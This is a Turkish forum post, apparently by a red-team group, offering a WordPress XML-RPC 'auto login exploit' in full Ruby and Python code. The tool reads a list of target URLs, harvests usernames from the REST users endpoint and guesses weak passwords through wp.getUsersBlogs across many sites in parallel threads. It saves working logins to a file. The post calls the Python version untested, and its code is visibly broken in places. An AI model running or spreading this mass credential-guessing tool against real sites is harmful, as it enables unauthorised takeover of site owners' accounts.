Merhaba ben Anka Red Team'den Bunjo, bu konuda AR-GE ekibinden @Suppressor ile
Ruby ve Python programlama dillerini kullanarak yazmış olduğumuz WordPress XMLRPC Auto Login Exploitini anlatacağız.
XMLRPC Nedir?
XML-RPC (XML Remote Procedure Call), uzaktan prosedür çağrılarını (RPC) XML formatında iletmek için kullanılan bir iletişim protokolüdür.
XML-RPC, istemci ve sunucu arasında veri alışverişi sağlar ve farklı platformlar arasında programlar arası iletişimi kolaylaştırır.
XML-RPC'nin temel özellikleri şunlardır:
XML Tabanlı: Veriler XML formatında gönderilir ve alınır. Bu, verilerin insanlar ve makineler arasında anlaşılabilir olmasını sağlar.
Platform Bağımsız: XML-RPC, farklı programlama dilleri ve platformlar arasında iletişimi kolaylaştırır. Bu sayede birçok farklı sistem birbirleriyle haberleşebilir.
HTTP Protokolü Üzerinde Çalışır: Genellikle XML-RPC çağrıları, HTTP üzerinden iletilir. Bu, web tabanlı uygulamaların ve hizmetlerin XML-RPC aracılığıyla birbirleriyle iletişim kurabilmesini sağlar.
Basit ve Hafif: XML-RPC, basit bir protokol olup, karmaşık veri yapılarına ve yönetimine ihtiyaç duymaz. Bu da uygulamanın hafif olmasını sağlar.
Sunucu ve İstemci: XML-RPC protokolü, sunucu ve istemci arasında iki yönlü iletişimi destekler. İstemci, sunucuya bir RPC çağrısı gönderir ve sunucu da bu çağrıya yanıt verir.
XML-RPC, genellikle dağıtık sistemlerde, özellikle web hizmetleri gibi alanlarda kullanılır. Birçok popüler programlama dilinde XML-RPC istemcileri ve sunucuları bulunmaktadır. Bu sayede, farklı dillerde yazılmış sistemlerin birbiriyle iletişim kurması kolaylaşır.
XMLRPC Auto Login Exploit - Ruby
Ruby:
require 'net/http'
require 'uri'
require 'optparse'
require 'eventmachine'
require 'json'
class XMLRPC_WP
def initialize
@headers = {
'Connection' => 'keep-alive',
'User-Agent' => 'Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36',
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'referer' => 'www.google.com'
}
@params = {
input_file: nil,
output_file: 'output.txt'
}
@threads = []
end
def exploit(url_exploit)
begin
url = URI.parse(url_exploit)
http = Net::HTTP.new(url.host, url.port)
http.use_ssl = (url.scheme == "https")
request = Net::HTTP::Get.new("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users", @headers)
response_exploit = http.request(request)
if response_exploit.body.include?('gravatar.com')
usernames = JSON.parse(response_exploit.body).map { |user| user['name'] }
if usernames.any?
usernames.each do |username|
pass = [
username + username, username, username + '123', username + '1234', "admin", "root", "password", "pass"
]
pass.each do |password|
xmlrpc_payload = <<-XMLRPC
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>#{username}</value></param>
<param><value>#{password}</value></param>
</params>
</methodCall>
XMLRPC
begin
request = Net::HTTP::Post.new("#{url.scheme}://#{url.host}/xmlrpc.php", @headers)
request.body = xmlrpc_payload
post_load = http.request(request)
if post_load.body.include?('blogName')
puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Users Found".green)
log_checker(url_exploit, username, password)
else
puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Not Vuln: (blogName Not Found)".red)
return
end
rescue StandardError => err
puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Not Vuln: #{err}".red)
rescue Net::OpenTimeout, Net::ReadTimeout => err
puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Not Vuln: #{err}".red)
end
end
end
else
puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Not Vuln (Username Not Found)".red)
end
else
puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Not Vuln (Gravatar Not Found)".red)
return
end
rescue StandardError => err
puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Not Vuln: #{err}".red)
rescue Net::OpenTimeout, Net::ReadTimeout => err
puts("#{url.scheme}://#{url.host}/?rest_route=/wp/v2/users --> Not Vuln: #{err}".red)
end
end
def log_checker(url_check, user, password)
url = URI.parse(url_check)
url.path = "/xmlrpc.php"
http = Net::HTTP.new(url.host, url.port)
http.use_ssl = (url.scheme == "https")
request = Net::HTTP::Post.new(url.path)
request.set_form_data(
'log' => user,
'pwd' => password,
'wp-submit' => 'Log In',
)
request['Cookie'] = 'testcookie=1'
response = http.request(request)
if response.code == '302'
if response['location'].include?('admin')
File.open(@params[:output_file], "a+") do |file|
file.puts("#{url.scheme}://#{url.host}/wp-login.php##{user}@#{password}")
end
end
else
puts("#{url.scheme}://#{url.host}/xmlrpc.php --> Not Vuln".red)
end
end
def print_help
help_text = <<-'HELP_TEXT'
USAGE: ruby exploit.rb [options]
OPTIONS:
-i, --input_file INPUT_FILE: Define the path to the URL file.
-o, --output_file OUTPUT_FILE: Define the name of the output log file.
HELP_TEXT
puts(help_text.magenta)
end
def parse_lines(lines)
lines.each do |line|
exploit(line.strip)
end
end
def parser_options
begin
OptionParser.new do |parser|
parser.on("-i", "--input_file INPUT_FILE") do |input_file|
if File.exist?(input_file)
@params[:input_file] = input_file
else
STDERR.puts("Not Found: #{input_file}".red)
exit(1)
end
end
parser.on("-o", "--output_file OUTPUT_FILE") do |output_file|
@params[:output_file] = output_file
end
end.parse!
rescue Exception => err_parser
STDERR.puts("Error: #{err_parser}")
end
end
def main
begin
unless @params[:input_file].nil?
lines = File.readlines(@params[:input_file])
lines.each_slice(20) do |line_group|
@threads << Thread.new{parse_lines(line_group)}
end
@threads.each(&:join)
puts("Exploit Completed".magenta)
EM.stop
else
print_help
EM.stop
end
rescue StandardError
return
EM.stop
end
end
end
class String
def red
"\e[31m#{self}\e[0m"
end
def green
"\e[32m#{self}\e[0m"
end
def magenta
"\e[35m#{self}\e[0m"
end
end
EM.run do
xmlrpc = XMLRPC_WP.new
xmlrpc.parser_options
xmlrpc.main
end
XMLRPC Auto Login Exploit - Python
Python:
import http.client
import urllib.parse
import json
import ssl
class XMLRPC_WP:
def __init__(self):
self.headers = {
'Connection': 'keep-alive',
'User-Agent': 'Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'referer': 'www.google.com'
}
self.params = {
'input_file': None,
'output_file': 'output.txt'
}
self.threads = []
def exploit(self, url_exploit):
try:
url = urllib.parse.urlparse(url_exploit)
conn = http.client.HTTPSConnection(url.hostname, context=ssl._create_unverified_context())
conn.request("GET", f"{url.scheme}://{url.hostname}/?rest_route=/wp/v2/users", headers=self.headers)
response_exploit = conn.getresponse()
data = response_exploit.read().decode('utf-8')
if 'gravatar.com' in data:
users = json.loads(data)
usernames = [user['name'] for user in users]
if usernames:
for username in usernames:
passwords = [
username + username, username, username + '123', username + '1234', "admin", "root",
"password", "pass"
]
for password in passwords:
xmlrpc_payload = f"""
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>{username}</value></param>
<param><value>{password}</value></param>
</params>
</methodCall>
"""
try:
conn = http.client.HTTPSConnection(url.hostname, context=ssl._create_unverified_context())
conn.request("POST", f"{url.scheme}://{url.hostname}/xmlrpc.php", body=xmlrpc_payload, headers=self.headers)
post_load = conn.getresponse()
data = post_load.read().decode('utf-8')
if 'blogName' in data:
print(f"{url.scheme}://{url.hostname}/?rest_route=/wp/v2/users --> Users Found")
self.log_checker(url_exploit, username, password)
else:
print(f"{url.scheme}://{url.hostname}/?rest_route=/wp/v2/users --> Not Vuln: (blogName Not Found)")
return
except Exception as e:
print(f"{url.scheme}://{url.hostname}/?rest_route=/wp/v2/users --> Not Vuln: {e}")
else:
print(f"{url.scheme}://{url.hostname}/?rest_route=/wp/v2/users --> Not Vuln (Username Not Found)")
else:
print(f"{url.scheme}://{url.hostname}/?rest_route=/wp/v2/users --> Not Vuln (Gravatar Not Found)")
return
except Exception as e:
print(f"{url.scheme}://{url.hostname}/?rest_route=/wp/v2/users --> Not Vuln: {e}")
def log_checker(self, url_check, user, password):
try:
url = urllib.parse.urlparse(url_check)
conn = http.client.HTTPSConnection(url.hostname, context=ssl._create_unverified_context())
params = urllib.parse.urlencode({'log': user, 'pwd': password, 'wp-submit': 'Log In'})
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain", "Cookie": "testcookie=1"}
conn.request("POST", url.path, params, headers)
response = conn.getresponse()
if response.status == 302 or response.status == 200:
if 'admin' in response.getheader('location'):
with open(self.params['output_file'], "a+") as file:
file.write(f"{url.scheme}://{url.hostname}/wp-login.php#{user}@{password}\n")
else:
print(f"{url.scheme}://{url.hostname}/xmlrpc.php --> Not Vuln")
except Exception as e:
print(f"{url.scheme}://{url.hostname}/xmlrpc.php --> Not Vuln: {e}")
def print_help(self):
help_text = """
USAGE: python exploit.py [options]
OPTIONS:
-i, --input_file INPUT
"""
print(help_text)
if __name__ == "__main__":
xmlrpc = XMLRPC_WP()
xmlrpc.print_help()
Python kodu test edilmemiştir.
Exploit Açıklaması
Kullanıcıdan "-i" parametresi ile URL listesi alınır.
Alınan bu URL listesi 20'ye bölünür ve satır grupları oluşturulup exploit fonksiyonunu çağıracak olan parçacıklara ayrıştırılır.
Exploit fonksiyonu gelen bu URL'de "/?rest_route=/wp/v2/users" dizinine gider.
Örnek:
Burada bulunan name: username kısmından username verisi çekilmeye çalışılır.
Username çekilirse programın içine örnek olarak koyulan şifre kombinasyonları ile sitede
bulunan "xmlrpc.php" dosyasına bir post isteği yapılarak kullanıcının yazmış olduğu blog varsa çekilmeye çalışır.
Eğer bir blog çekilirse exploit işlemi başarıyla tamamlanmış olur.
https:/ /site.com/wp-login.php#username@password
şeklinde kullanıcının "-o" parametresi ile vermiş olduğu dosya ismiyle kayıt edilir.
Github adresi.
Okuyan herkese teşekkür ederim.